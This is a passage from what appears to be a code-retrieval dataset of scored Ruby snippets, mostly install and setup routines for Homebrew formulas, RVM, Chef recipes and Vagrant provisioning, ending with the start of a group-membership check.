end", "title": "" }, { "docid": "48ea0ced2968bd4c859dcf4ac3d00b94", "score": "0.5561622", "text": "def install\n system \"make\"\n bin.install \"tunsafe\"\n end", "title": "" }, { "docid": "a17374f3f8e3809f8dbd51074b4db1eb", "score": "0.5540234", "text": "def run_in_gemset(command)\n run \"rvm #{RUBY_GEMSET_NAME} -S #{command}\"\nend", "title": "" }, { "docid": "690f957dc5ee8d907693eea8d92077e1", "score": "0.5530599", "text": "def check_ruby_version\n # require \"rubygems\" only needed for ruby pre-1.9.0\n # but it's safe for later versions (evaluates to false).\n require \"rubygems\"\n request_to_install_latest_ruby if old_ruby_version?\n rescue LoadError\n # NOTE: LoadError could occur if someone attempts to run\n # this with Ruby 1.8.7 and they don't have rubygems installed\n request_to_install_latest_ruby\n end", "title": "" }, { "docid": "ef37cd872637291e5b3c5fba7406045e", "score": "0.5519368", "text": "def cook\n install_apt('libgeoip-dev')\n super\n end", "title": "" }, { "docid": "53cb62ccd15f879b4caaf26bd290f9e4", "score": "0.55151665", "text": "def install_virtualenv\n # This space left intentionally blank.\n end", "title": "" }, { "docid": "c6dcb9d65cde2cdc39d977db77c0acd4", "score": "0.5505525", "text": "def update_installed_rubies\n @installed_rubies = RVM.list_strings\n @installed_rubies\nend", "title": "" }, { "docid": "412d99f9493a2038ed9c46c1e50ef37a", "score": "0.550435", "text": "def install_latest(pattern)\n release = pattern[/^(ruby-)?(.*?)(-\\w+\\*)?$/,2]\n shell \"rvm ruby-#{release} || rvm --autolibs=read install #{release}\"\n Dir[File.join(RVM.path,'rubies',pattern)].sort(&RELEASE_COMPARE).last\n end", "title": "" }, { "docid": "f305696e7dc9649f8a51ef9adeffc13d", "score": "0.5502557", "text": "def perform_install_ruby!\n perform_list! # prompts root\n\n message \"Which Ruby version would you like to install?\"\n ruby_version = choose_ruby_version!\n\n message \"Would you like to make #{y(ruby_version)} your default Ruby?\"\n yes? ? make_default = true : make_default = false\n\n Spinner.return :message => \"Installing #{y(ruby_version)}, this may take a while..\" do\n e.execute_as_root(\"rvm install #{ruby_version}\")\n g(\"Done!\")\n end\n\n if make_default\n Spinner.return :message => \"Setting #{y(ruby_version)} as the system wide default Ruby.\" do\n e.execute_as_root(\"rvm use #{ruby_version} --default\")\n g(\"Done!\")\n end\n\n ask_to_use_default_ruby_with_passenger!(ruby_version)\n end\n end", "title": "" }, { "docid": "d456216b8957af3ca020a95ab70ad365", "score": "0.54990464", "text": "def install\n # ENV.deparallelize # if your formula fails when building in parallel\n # Remove unrecognized options if warned by configure\n mkdir_p \"#{prefix}/bin\"\n system 'install', 'src/vmctl', \"#{prefix}/bin/vmctl\"\n mkdir_p \"#{prefix}/share/man/man1\"\n system 'install', 'doc/vmctl.1', \"#{prefix}/share/man/man1/vmctl.1\"\n\n if build.with? 'bash-completion'\n mkdir_p \"#{prefix}/etc/bash_completion.d/\"\n system 'install', 'src/vmctl_completion.bash', \"#{prefix}/etc/bash_completion.d/\"\n end\n end", "title": "" }, { "docid": "3452d2e89c4a458119ab2aa5452096c1", "score": "0.5497863", "text": "def bindfs_bindfs_install_compilation_requirements(machine)\n machine.guest.capability(:bindfs_package_manager_update)\n machine.communicate.execute('brew install autoconf automake libtool pkg-config wget')\n end", "title": "" }, { "docid": "e09f07e4ab4aaeeaad771471cbf78864", "score": "0.549503", "text": "def install; end", "title": "" }, { "docid": "e09f07e4ab4aaeeaad771471cbf78864", "score": "0.549503", "text": "def install; end", "title": "" }, { "docid": "50f27bd2ce0757da849fcf39004ac50e", "score": "0.5494571", "text": "def correct_rvm_installed?(rvm_path, rvm_user)\n return false unless ::File.exist?(\"#{rvm_path}/bin/rvm\")\n cmd = \"su #{rvm_user} -l -c 'source #{rvm_path}/scripts/rvm && \\\n rvm --version'\"\n ::Chef::Log.debug(\"Running [#{cmd}]\")\n results = shell_out(cmd)\n results.stdout.match(node['rvm_fw']['version'])\n end", "title": "" }, { "docid": "792760d7c36461b545752f5f2072d0c7", "score": "0.54923505", "text": "def setup_venv(b, system = false)\n if system then\n sys_args = '--system-site-packages'\n else\n sys_args = ''\n end\n b.vm.provision \"shell\", privileged: false, inline: <<-SHELL\n cd $HOME/lkpy\n python3 -m venv #{sys_args} $HOME/lk-env\n . $HOME/lk-env/bin/activate\n pip install -U pip wheel\n pip install -e .[dev]\n SHELL\nend", "title": "" }, { "docid": "edf8230642bde5a905a2d3d111cb5a0b", "score": "0.5483139", "text": "def install!; end", "title": "" }, { "docid": "fad5861906bed2a08d0190b6653ba10a", "score": "0.5475308", "text": "def find_installed_R\n\n if RUBY_PLATFORM=~/mingw/ or RUBY_PLATFORM=~/msys/\n $prefix=`R RHOME`.gsub(\"\\\\\",\"/\")\n $prefix_include=$prefix+\"/include\"\n $prefix_lib=nil\n (RUBY_PLATFORM=~/64/ ? [\"\",\"x64\"] : [\"\",\"i386\"]).each do |arch|\n $prefix_lib=File.join($prefix,\"bin\",arch) if File.exist? File.join($prefix,\"bin\",arch,\"R.dll\")\n #$versions=[arch]\n break if $prefix_lib\n end\n elsif RUBY_PLATFORM=~/darwin/\n \n # versions=\"/Library/Frameworks/R.framework/Versions\"\n # if File.directory? versions \n # $prefix=Dir[versions+\"/*/Resources\"].select{|e| e.split(\"/\")[-2]!=\"Current\"}\n # $prefix_include=$prefix.map{|e| e+\"/include\"}\n # $prefix_lib=$prefix.map{|e| e+\"/lib\"}\n # $versions=$prefix.map{|e| e.split(\"/\")[-2]}\n # else\n $prefix=`R RHOME`.strip\n $prefix_include=$prefix+\"/include\"\n $prefix_lib=$prefix+\"/lib\"\n # end\n \n else\n stddirs=[\"/usr/local/lib/R\",\"/usr/lib/R\",\"/usr/share/R\",\"/usr/include/R\",\"/usr/lib64/R\"]\n stddirs.unshift `R RHOME`.strip.split(\"\\n\").select{|l| l=~/^\\//}[0] unless `R RHOME`.empty?\n usrdirs = []\n ARGV.each do |arg|\n if arg =~ /--with-R/\n option, value = arg.split('=')\n usrdirs = [ value ] + usrdirs\n end\n end\n dirs = usrdirs + stddirs\n dirs.uniq! # remove duplicates \n\n $prefix,$prefix_include,$prefix_lib=nil,nil,nil\n\n dirs.each do |dir|\n p dir\n if !$prefix and FileTest.exist?(dir)\n $prefix = dir[0..-3]\n end\n \n if !$prefix_include and FileTest.exist?(dir+\"/include/R.h\")\n $prefix_include=dir+\"/include\"\n end\n\n if !$prefix_include and FileTest.exist?(dir+\"/R.h\")\n $prefix_include=dir\n end\n \n if !$prefix_lib and FileTest.exist?(dir+\"/lib/libR.so\")\n $prefix_lib=dir+\"/lib\"\n end \n end\n raise RuntimeError, \"couldn't find R Home : R seems to be uninstalled!!\" unless $prefix\n raise RuntimeError, \"couldn't find R.h!!\" unless $prefix_include\n raise RuntimeError, \"couldn't find libR.so!!\" unless $prefix_lib\n #return multi\n end \n\nend", "title": "" }, { "docid": "4b3f90a941298e6440c6945dfad9bca2", "score": "0.5463743", "text": "def install_ruby_dependencies(rubie)\n pkgs = []\n if rubie =~ /^1\\.[89]\\../ || rubie =~ /^ree/ || rubie =~ /^ruby-/\n case node[:platform]\n when \"debian\",\"ubuntu\"\n pkgs = %w{ build-essential bison openssl libreadline6 libreadline6-dev\n zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0\n libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev ssl-cert }\n pkgs += %w{ git-core subversion autoconf } if rubie =~ /^ruby-head$/\n when \"suse\"\n pkgs = %w{ gcc-c++ patch zlib zlib-devel libffi-devel\n sqlite3-devel libxml2-devel libxslt-devel }\n if node.platform_version.to_f >= 11.0\n pkgs += %w{ libreadline5 readline-devel libopenssl-devel }\n else\n pkgs += %w{ readline readline-devel openssl-devel }\n end\n pkgs += %w{ git subversion autoconf } if rubie =~ /^ruby-head$/\n when \"centos\",\"redhat\",\"fedora\"\n pkgs = %w{ gcc-c++ patch readline readline-devel zlib zlib-devel\n libyaml-devel libffi-devel openssl-devel }\n pkgs += %w{ git subversion autoconf } if rubie =~ /^ruby-head$/\n end\n elsif rubie =~ /^jruby/\n # TODO: need to figure out how to pull in java recipe only when needed. For\n # now, users of jruby will have to add the \"java\" recipe to their run_list.\n #include_recipe \"java\"\n pkgs << \"g++\"\n end\n\n pkgs.each do |pkg|\n p = package pkg do\n action :nothing\n end\n p.run_action(:install)\n end\nend", "title": "" }, { "docid": "eadc2410a07282cd871e4cbea791ad8c", "score": "0.5442602", "text": "def addRvmInfoToGemfile\n\t\t\taction = -> do\n\t\t\t\trvm = rvmInfo\n\t\t\t\tFile.open(RvmPow::GEMFILE, 'a+') do |file|\n\t\t\t\t\ts = file.read\n\t\t\t\t\tif (s.match(/ruby\\s'\\d(\\.\\d)+'/) || s.match(/ruby-gemset=/))\n\t\t\t\t\t\tputs \"\\truby or gemset information already present in Gemfile\"\n\t\t\t\t\telse\n\t\t\t\t\t\tfile.puts \"\\n# rvmpow\\nruby '#{rvm[:ruby]}'\\n#ruby-gemset=#{rvm[:gemset]}\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tfileAction action\n\t\tend", "title": "" }, { "docid": "9e068912720bffaf3783a9a8985b4a91", "score": "0.5416321", "text": "def rvm_trusts(dir)\n @commands << \"echo 'bypass sudo'; rvm rvmrc trusted #{dir}\"\n end", "title": "" }, { "docid": "e29bae6cad752ee9749f582699579a78", "score": "0.54093796", "text": "def install\n system \"make\"\n system \"mkdir #{prefix}/bin\"\n system \"mkdir #{prefix}/share\"\n system \"cp xtrv #{prefix}/bin/\"\n system \"cp unxtrv #{prefix}/bin/\"\n system \"cp -rf man #{prefix}/share\"\n end", "title": "" }, { "docid": "c57267691d7e890fbac63dd8c73947b7", "score": "0.5395176", "text": "def install_all\n selfupdate\n install_homebrew if RUBY_PLATFORM.downcase.include?(\"darwin\") and want_to_install?('homebrew')\n install_linuxbrew if RUBY_PLATFORM.downcase.include?(\"linux\") and want_to_install?('linuxbrew')\n install_files('zsh', Dir.glob('zshrc')) if want_to_install?('zsh config')\n install_files('vim', Dir.glob('vim/vimrc')) if want_to_install?('vim config')\n install_files('git', Dir.glob('git/*')) if want_to_install?('git config')\n install_files('docker', Dir.glob('docker/*')) if want_to_install?('docker config')\n install_files('tmux', Dir.glob('tmux/*')) if want_to_install?('tmux config')\n install_files('misc', Dir.glob('misc/*')) if want_to_install?('miscellaneous config')\n run %{osx/setup} if RUBY_PLATFORM.downcase.include?(\"darwin\") and want_to_install?('osx defaults')\nend", "title": "" }, { "docid": "88f13f954b3704b84c60ad25fd074f42", "score": "0.5393614", "text": "def install\n jruby_install\n install_gemrc\n end", "title": "" }, { "docid": "4fca7e39a96cc3d8d2de86888fd665ef", "score": "0.53892374", "text": "def pkg_binary; \"apt-get\" end", "title": "" }, { "docid": "839bc62c0f7a2197d176123a18735dc5", "score": "0.5376765", "text": "def install\n\n end", "title": "" }, { "docid": "3fb194a88508107e6eb5587001292b6b", "score": "0.53685725", "text": "def rvm_execute(server_config, command)\n execute(\"rvm_path=#{RVM_PATH} #{RVM_PATH}bin/rvm-shell '#{server_config['rvm']['rvm_ruby_string']}' -c '#{command}'\")\nend", "title": "" }, { "docid": "b65c9c06dbdb82e700c939e8177df737", "score": "0.536733", "text": "def update_known_rubies\n @known_rubies = RVM.list_known_strings\n @known_rubies\nend", "title": "" }, { "docid": "799c591d94e1238af5bcd6bd63700fbb", "score": "0.53662896", "text": "def update_system\n sudo \"gem update --system\"\n end", "title": "" }, { "docid": "6a5e2f9bf1ae3f0476a0f04c464f41f7", "score": "0.53477824", "text": "def install\n # The approach to vendoring of Perl modules used here is that\n # described by @ilovezfs in a comment 2017-08-26 in:\n # https://github.com/Homebrew/homebrew-science/issues/6213\n\n ENV.prepend_create_path \"PERL5LIB\", libexec/\"lib/perl5\"\n ENV.prepend_path \"PERL5LIB\", libexec/\"lib\"\n\n mkdir_p man1\n mkdir_p (libexec/\"bin\")\n mkdir_p bin\n\n resources.each do |res|\n res.stage do\n case res.name\n\n when \"Mozilla::PublicSuffix\"\n if build.with? \"bundled-publicsuffix\"\n system \"sh\", \"-c\", \"PERL_MM_USE_DEFAULT=t perl Build.PL --install_base=#{libexec}\"\n system \"./Build\"\n system \"./Build\", \"test\"\n system \"./Build\", \"install\"\n end\n\n when \"Term::ReadLine::Gnu\"\n if build.with? \"readline\"\n # At some point, the keg for readline from brew got built \"x86_64\"-only, not dual x86_64/i386,\n # which breaks the build here\n system \"env\", \"ARCHFLAGS=-arch x86_64\", \"perl\", \"Makefile.PL\", \"INSTALL_BASE=#{libexec}\"\n system \"make\"\n system \"make\", \"install\"\n end\n\n when \"Net::SSLeay\"\n # Prompts for network testing, only env-control knobs accept defaults,\n # but the default is to do the testing. So echo no into it.\n Open3.pipeline([\"echo\", \"no\"], [\"perl\", \"Makefile.PL\", \"INSTALL_BASE=#{libexec}\"])\n system \"make\", \"PERL5LIB=#{ENV[\"PERL5LIB\"]}\"\n system \"make\", \"install\"\n\n else # res.name switch\n\n if File.exist? \"Makefile.PL\"\n system \"perl\", \"Makefile.PL\", \"INSTALL_BASE=#{libexec}\"\n system \"make\", \"PERL5LIB=#{ENV[\"PERL5LIB\"]}\"\n system \"make\", \"install\"\n else\n system \"perl\", \"Build.PL\", \"--install_base\", libexec\n system \"./Build\", \"PERL5LIB=#{ENV[\"PERL5LIB\"]}\"\n system \"./Build\", \"install\"\n end\n\n end\n end\n end\n\n inreplace \"sieve-connect.pl\",\n /(# No user-serviceable parts below)/,\n '\\1'\"\\nuse lib '#{libexec}/lib/perl5';\"\n\n #before = (libexec/\"bin\").children\n system \"make\", \"PERL5LIB=#{ENV[\"PERL5LIB\"]}\", \"PREFIX=#{prefix}\", \"MANDIR=share/man\", \"install\"\n #after = (libexec/\"bin\").children\n\n #bin_to_link = after - before\n #bin.install bin_to_link\n bin.env_script_all_files(libexec/\"bin\", :PERL5LIB => ENV[\"PERL5LIB\"])\n end", "title": "" }, { "docid": "0bb5180293f79de43e38cdf85f745dca", "score": "0.534331", "text": "def rvm_default_set?(rvm_path, rvm_user)\n cmd = \"su #{rvm_user} -l -c 'source #{rvm_path}/scripts/rvm && \\\n rvm list'\"\n ::Chef::Log.debug(\"Running [#{cmd}]\")\n results = shell_out(cmd)\n results.stdout.match(\"=\\\\* #{node['rvm_fw']['global_ruby']}\")\n end", "title": "" }, { "docid": "f65a79d1e1c92a80e420c29a0110b978", "score": "0.53352827", "text": "def install\n end", "title": "" }, { "docid": "9b8949f21b1d0b11721474b7f08d2a5e", "score": "0.530668", "text": "def check_or_install\n if osx?\n # We currently only install python for osx\n install_or_update_osx\n else\n # Otherwise we check that the system supplied python will be sufficient\n check_system_python\n end\n end", "title": "" }, { "docid": "882d6fe374ca5d8a83bc8ceec48098ff", "score": "0.5303622", "text": "def install\n bin.install \"get-to-work\"\n end", "title": "" }, { "docid": "820693b07116e7ccd75cff1137bec5a1", "score": "0.52960485", "text": "def install\n # use the brew python to install the tools needed\n\t system 'python', 'setup.py', 'install'\n\n # install the gyp executable\n bin.install(\"gyp\")\n bin.install(\"gyp_main.py\")\n end", "title": "" }, { "docid": "b0e40e23b066803a4847cbad786fc465", "score": "0.5293196", "text": "def setup_python3\n <<~CODE\n # Unset python2 ENV variable to avoid problems with python3\n unset PYTHONPATH\n\n # Create python3 environment\n python3 -m venv venv\n source venv/bin/activate\n\n # Upgrade Pip to the latest and install CWLtool\n apt-get update\n apt-get install python3-pip\n python3 -m pip install pip==20.0.2\n pip3 install cwltool\n CODE\n end", "title": "" }, { "docid": "7cf9bbf2cd5b63289b1892df370bd690", "score": "0.52926666", "text": "def install\n # system \"sed\", \"-i\", \"-e\", \"s/glibmm-2.4/glibmm-2.68/g\", \"configure\"\n system \"./configure\", \"--prefix=#{prefix}\", \"--disable-java\", \"--enable-bindings\", \"--enable-cxx\", \"CXXFLAGS=-std=c++17\"\n system \"make\"\n system \"make\", \"install\"\n end", "title": "" }, { "docid": "df3ea27338007d9c1690b6703480f4c6", "score": "0.5290268", "text": "def install\n # LANG is unset by default on macOS and causes issues when calling getlocale\n # or getdefaultlocale in docutils. Force the default c/posix locale since\n # that's good enough for building the manpage.\n ENV[\"LC_ALL\"] = \"C\"\n\n # --disable-cplugins\n #--disable-libass\n #--disable-libass-osd\n #--disable-vapoursynth-lazy\n \n args = %W[\n --prefix=#{prefix}\n --enable-libmpv-shared\n --disable-swift\n --disable-libarchive\n --disable-lua\n --disable-javascript\n --disable-uchardet\n --disable-lcms2\n --disable-vapoursynth\n --disable-libbluray\n --confdir=#{etc}/mpv\n --datadir=#{pkgshare}\n --mandir=#{man}\n --docdir=#{doc}\n --zshdir=#{zsh_completion}\n ]\n\n system Formula[\"python@3.9\"].opt_bin/\"python3\", \"bootstrap.py\"\n system Formula[\"python@3.9\"].opt_bin/\"python3\", \"waf\", \"configure\", *args\n system Formula[\"python@3.9\"].opt_bin/\"python3\", \"waf\", \"install\"\n\n system \"python3\", \"TOOLS/osxbundle.py\", \"build/mpv\"\n prefix.install \"build/mpv.app\"\n end", "title": "" }, { "docid": "aa020365c0d25362add4274a2eaf0be3", "score": "0.52894276", "text": "def install_git\n exec \"sudo apt-get install git\"\nend", "title": "" }, { "docid": "0e102e623071de86ea6f5f4c76402c60", "score": "0.5279909", "text": "def sudome\n if ENV[\"USER\"] != \"root\"\n # `exec` replaces this process, so no need to `exit` as well.\n dotfile = Work::DotFile.locate\n \n if dotfile.exists? and dotfile.rvm\n exec(\"rvmsudo #{$0} #{ARGV.join(' ')}\")\n else\n exec(\"sudo #{$0} #{ARGV.join(' ')}\")\n end\n end\nend", "title": "" }, { "docid": "b2b7f306fbe8a9bd2334950f821f996a", "score": "0.5261662", "text": "def install_python\n raise NotImplementedError\n end", "title": "" }, { "docid": "7fe17fa562fbad7a691aefa655cd6709", "score": "0.52551484", "text": "def install(opts=nil, &block)\n # kernel-headers will be installed here if a glibc update comes through\n communicate.sudo(install_dependencies_cmd, opts, &block)\n check_and_upgrade_kernel!(opts, &block)\n super\n\n # really old versions of the guest additions (4.2.6) fail to \n # remove the vboxguest module from the running kernel, which\n # makes the loading of the newer vboxsf module fail.\n # Well just reboot the VM to make sure the latest modules are loaded\n @vm.ui.warn \"Rebooting to ensure guest additions are loaded\"\n reboot(@vm, {:auto_reboot => true})\n end", "title": "" }, { "docid": "5b1a6aabedfd50bc4d16c4ca336550a3", "score": "0.52423275", "text": "def install\n bin.install \"kubenx\"\n end", "title": "" }, { "docid": "40226edb9e1342780ccd6da33b209591", "score": "0.52372235", "text": "def install_puppet_librarian\n self.say(\"*** Installing puppet librarian ***\")\n case self.platform[:distributor].downcase\n when /ubuntu/, /debian/, /gnu\\/linux/\n self.execute <<-HERE\n #{@sudo} apt-get -y install git ruby-dev make &&\n #{@sudo} gem install librarian-puppet\n HERE\n else\n self.execute <<-HERE\n yum -y install git &&\n gem install librarian-puppet \n HERE\n end\n self.say(\"Installed puppet librarian\", false)\n end", "title": "" }, { "docid": "4b092ae320598cfa40998f04280453cd", "score": "0.5228637", "text": "def if_install_tools()\n # Work around Nimbus bug https://bugzilla.eng.vmware.com/show_bug.cgi?id=2698984\n File.write(\"/tmp/99-gateway.conf\", \"net.ipv4.ip_forward = 1\\n\")\n sudo_exec('cp', '/tmp/99-gateway.conf', '/etc/sysctl.d')\n\n # 'kernel-modules-extra' is for the netem module (see https://bugzilla.redhat.com/show_bug.cgi?id=1776748).\n sudo_exec('dnf', 'install', '-y', 'iproute', 'iproute-tc', 'kernel-modules-extra')\n\n # XXX(jpeach) need to reboot, since the modules package we just installed\n # won't necessarily match the running kernel.\nend", "title": "" }, { "docid": "f1ff4d623d726dcf5a74c3bac5bc45df", "score": "0.5227683", "text": "def install_software (package)\n architecture = 'ubuntu'\n if architecture == 'ubuntu'\n puts `apt-get install -y #{package}`\n elsif architecture == 'redhat'\n puts `yum install #{package}`\n else\n stop \"Unsupported Architecture: #{architecture}\"\n end\nend", "title": "" }, { "docid": "92f33e0f64dad099a4dc1b4d640cc414", "score": "0.52265656", "text": "def install\n bin.install \"ks_darwin_amd64\" => \"ks\"\n end", "title": "" }, { "docid": "f3b61dc48039ba4c1f358ce34d60b877", "score": "0.522411", "text": "def check_gems\n\tputs \"Installing Ruby Gems.....\"\n\tgemz = [ 'rb-readline', 'colorize', 'snmp', 'text-table' ]\n\tDir.chdir(INSTALL) {\n\t\tgemz.each do |g|\n\t\t\tsystem(\"sudo gem install #{g}\")\n\t\tend\n\t}\nend", "title": "" }, { "docid": "2dbaf5f0b0256972166cf03f2a523d54", "score": "0.5221501", "text": "def check_xen_is_installed()\n return\nend", "title": "" }, { "docid": "d5d11ee711baa212de256fceb4227617", "score": "0.5215709", "text": "def dynamic_get_command\n if ::File.which('curl')\n # curl version of RVM::FW install command\n \"curl #{node['rvm_fw']['url']}/install\"\n else\n # wget version of RVM::FW install command\n \"wget -qO- #{node['rvm_fw']['url']}/install\"\n end\n end", "title": "" }, { "docid": "0b57b27431fe88c050f8d45a0486ac06", "score": "0.5209862", "text": "def install\n mv \"diyabc_core-2.1.0-linux-x64\", \"diyabc_core\"\n bin.install \"diyabc_core\"\n end", "title": "" }, { "docid": "eccbb734f17eed6e6f8f0a68850421a3", "score": "0.52097875", "text": "def brew_install(package)\n return if package_installed?(package)\n System.run(\"brew install #{package}\")\nend", "title": "" }, { "docid": "95ea3743e82c5873cf94305ac6a97f2b", "score": "0.5202875", "text": "def install_ext_auth_virtual_env\n return if File.exist?(\"#{node['cluster']['dcv']['authenticator']['virtualenv_path']}/bin/activate\")\n\n install_pyenv node['cluster']['python-version'] do\n prefix node['cluster']['system_pyenv_root']\n end\n activate_virtual_env node['cluster']['dcv']['authenticator']['virtualenv'] do\n pyenv_path node['cluster']['dcv']['authenticator']['virtualenv_path']\n python_version node['cluster']['python-version']\n end\nend", "title": "" }, { "docid": "5af22b2bccf435e2f2a7b1e78d7190ea", "score": "0.5200526", "text": "def install\n (buildpath/\"build\").install resource(\"v8/build\")\n (buildpath/\"third_party/jinja2\").install resource(\"v8/third_party/jinja2\")\n (buildpath/\"third_party/markupsafe\").install resource(\"v8/third_party/markupsafe\")\n # (buildpath/\"third_party/googletest/src\").install resource(\"v8/third_party/googletest/src\")\n (buildpath/\"base/trace_event/common\").install resource(\"v8/base/trace_event/common\")\n (buildpath/\"third_party/icu\").install resource(\"v8/third_party/icu\")\n (buildpath/\"third_party/instrumented_libraries\").install resource(\"v8/third_party/instrumented_libraries\")\n (buildpath/\"buildtools\").install resource(\"v8/buildtools\")\n (buildpath/\"tools/clang\").install resource(\"v8/tools/clang\")\n (buildpath/\"testing/gtest\").install resource(\"v8/testing/gtest\")\n (buildpath/\"testing/gmock\").install resource(\"v8/testing/gmock\")\n # (buildpath/\"third_party/zlib\").install resource(\"v8/third_party/zlib\")\n\n # Bully GYP into correctly linking with c++11\n ENV.cxx11\n ENV[\"GYP_DEFINES\"] = \"clang=1 mac_deployment_target=#{MacOS.version}\"\n (buildpath/\"tools/gyp\").install resource(\"v8/tools/gyp\")\n\n # fix up libv8.dylib install_name\n # https://github.com/Homebrew/homebrew/issues/36571\n # https://code.google.com/p/v8/issues/detail?id=3871\n # inreplace \"tools/gyp/v8.gyp\",\n # \"'OTHER_LDFLAGS': ['-dynamiclib', '-all_load']\",\n # \"\\\\0, 'DYLIB_INSTALL_NAME_BASE': '#{opt_lib}'\"\n inreplace \"src/v8.gyp\",\n \"'OTHER_LDFLAGS': ['-dynamiclib', '-all_load']\",\n \"\\\\0, 'DYLIB_INSTALL_NAME_BASE': '#{opt_lib}'\"\n\n system \"make\", \"native\",\n \"-j#{ENV.make_jobs}\",\n \"snapshot=on\",\n \"console=readline\",\n \"library=shared\"\n\n prefix.install \"include\"\n cd \"out/native\" do\n lib.install Dir[\"lib*\"]\n bin.install \"d8\", \"lineprocessor\", \"mksnapshot\", \"preparser\", \"process\", \"shell\" => \"v8\"\n end\n end", "title": "" }, { "docid": "589eb6327eed0ac35c1366054b65900c", "score": "0.5200166", "text": "def initialize\n optional_gem 'rsruby'\n end", "title": "" }, { "docid": "3fd3f9790a65544882276e966c84461d", "score": "0.5191958", "text": "def install\n\t if @noupdatepackages == nil or @noupdatepackages != true\n\t self.install_packages\n\t end\t\n unless self.has_executable?(\"puppet\")\n self.install_puppet\n end\n unless self.has_executable?(\"librarian-puppet\")\n self.install_puppet_librarian\n end\n end", "title": "" }, { "docid": "ee02c74898e6738253513c0844f8af71", "score": "0.5190324", "text": "def perform_update!\n prompt_for_root_password!\n\n message \"Updating RVM.\"\n message \"Would you like to get the latest stable, or bleeding edge version?\"\n option = rvm_version?\n Spinner.return :message => \"Updating #{y('rvm')} to the #{y(option.nil? ? 'latest stable' : 'bleeding edge')}.\" do\n e.execute_as_root(\"rvm update #{option}\")\n g(\"Done!\")\n end\n end", "title": "" }, { "docid": "6689337258085fe8f6b9d3ad9bb416ee", "score": "0.518808", "text": "def install\n bin.install \"viperize\"\n end", "title": "" }, { "docid": "681df81883bb1311df5c1270cb687878", "score": "0.518567", "text": "def update_pacman_if_needed\n return unless self['platform'].include?('archlinux')\n return unless @pacman_needs_update\n\n execute(\"pacman --sync --noconfirm --noprogressbar --refresh archlinux-keyring\")\n execute(\"pacman --sync --noconfirm --noprogressbar --refresh --sysupgrade --ignore linux --ignore linux-docs --ignore linux-headers\")\n @pacman_needs_update = false\n end", "title": "" }, { "docid": "3e615c9cb2c3cb19480dbc624862360a", "score": "0.5168914", "text": "def rvm_bin(daemon)\n return File.join(RVM_BIN,\"bootup_\"+daemon+\" \")\nend", "title": "" }, { "docid": "a9417563e3c4496886211038da75dfd7", "score": "0.51613486", "text": "def run_without_rvm(command)\n run command, :shell => \"#{rvm_install_shell}\"\n end", "title": "" }, { "docid": "24fcba0479c993a7e8dc799b3ca0a025", "score": "0.5155846", "text": "def install_deps!(node)\n node.vm.provision \"shell\", inline: \"cp -f /vagrant/hosts /etc/hosts\"\n deps = [\n 'expat',\n 'hwloc',\n 'libedit',\n 'libical',\n 'libICE',\n 'libSM',\n 'perl-Env',\n 'perl-Switch',\n 'postgresql-contrib',\n 'postgresql-server',\n 'python',\n 'sendmail',\n 'sudo',\n 'tcl',\n 'tk',\n 'unzip',\n\n # * purely for convenience\n 'the_silver_searcher',\n 'vim',\n 'zip'\n ]\n node.vm.provision \"shell\", inline: \"yum install -y #{deps.join(' ')}\"\nend", "title": "" }, { "docid": "36a9829969ef2cac902ae38b7d2ebfdc", "score": "0.5151144", "text": "def install_packages\n return(self.interpreter.package_manager.install <<-HERE)\n # PostgreSQL\n postgresql-#{self.postgresql_version}\n postgresql-client-#{self.postgresql_version}\n postgresql-server-dev-#{self.postgresql_version}\n libpq-dev\n\n # Ruby libraries\n libdbd-pg-ruby1.8\n libdbd-pg-ruby\n\n # Helpers\n oidentd\n HERE\n end", "title": "" }, { "docid": "ba99540e429e1067d7d54dc1cfe3b3a2", "score": "0.514974", "text": "def install_ext_auth_virtual_env\n return if File.exist?(\"#{node['cfncluster']['dcv']['authenticator']['virtualenv_path']}/bin/activate\")\n\n install_pyenv node['cfncluster']['dcv']['authenticator']['user'] do\n python_version node['cfncluster']['python-version']\n end\n\n activate_virtual_env node['cfncluster']['dcv']['authenticator']['virtualenv'] do\n pyenv_path node['cfncluster']['dcv']['authenticator']['virtualenv_path']\n pyenv_user node['cfncluster']['dcv']['authenticator']['user']\n python_version node['cfncluster']['python-version']\n end\nend", "title": "" } ]
96e8a7309bc6bc2b8cb80008aed7165e
See if user is group member user: User object
[ { "docid": "312cf83c345b0a9ef5d8e0ffef70087c", "score": "0.78054637", "text": "def member?(user = nil)\n membership = Membership.find_by group_id: id, user_id: user.id\n return false if membership.nil?\n membership.user_id == user.id\n end", "title": "" } ]
[ { "docid": "84693c643238449deaf795b37bf751d6", "score": "0.79606616", "text": "def member_of(group)\n current_user.is_member?(group)\n end", "title": "" }, { "docid": "f546a88694690501e46aec112c172cbf", "score": "0.7957785", "text": "def user_in_group?(user, group)\n return get_user_groups(user).include?(group)\n end", "title": "" }, { "docid": "b094a3a6b18c4064ead6b6c879ab95c4", "score": "0.79460293", "text": "def ifMember(group_id,user_id)\n GroupUser.where(:group_id => group_id, :user_id => user_id).exists? #change to current_user_id \n end", "title": "" }, { "docid": "599103f5e00912abb807d0011739bbd3", "score": "0.7668864", "text": "def is_member_of?(group)\n group.owner?(current_person) or Membership.accepted?(current_person, group)\n end", "title": "" }, { "docid": "6f76f97e63d4595338eae38052afd0d4", "score": "0.74888295", "text": "def isUserMemberOfGroup \n redirect_to groups_path unless !GroupMember.userIsAlreadyInGroup(params[:group_id], current_user.id)\n end", "title": "" }, { "docid": "195dbfdea213de3ac118b3d1defed565", "score": "0.74729", "text": "def is_member?(user)\n return true if user.id == self.created_by.id\n self.users.any? { |u| u.id == user.id }\n end", "title": "" }, { "docid": "8ea6053b22c11ebc5d6f173f3309eea6", "score": "0.73806316", "text": "def is_user_member? usr\n\t\tif usr\n\t \treturn is_member?(Role.find(usr.role.id))\n\t end\n\t return false\n\tend", "title": "" }, { "docid": "d19bc412a8a7d8430fc61d4a5a3675f7", "score": "0.7367525", "text": "def member?(group)\n memberships.find_by_group_id(group)\n end", "title": "" }, { "docid": "c4a29fd73230eca5bd776da0b8bf3bbe", "score": "0.7334653", "text": "def member_user\n if params[:group_id]\n @group = Group.find(params[:group_id])\n else\n @group = Group.find(by_id)\n end\n unless @group.has_member?(current_user)\n flash[:danger] = \"The page you requested is only available to members.\"\n redirect_to @group\n end\n end", "title": "" }, { "docid": "b25bf0d3f43337b53f7aca01921a746f", "score": "0.73314434", "text": "def in_group?(user, group)\n users_groups.where(user_id: user.id, group_id: group.id).count.positive?\n end", "title": "" }, { "docid": 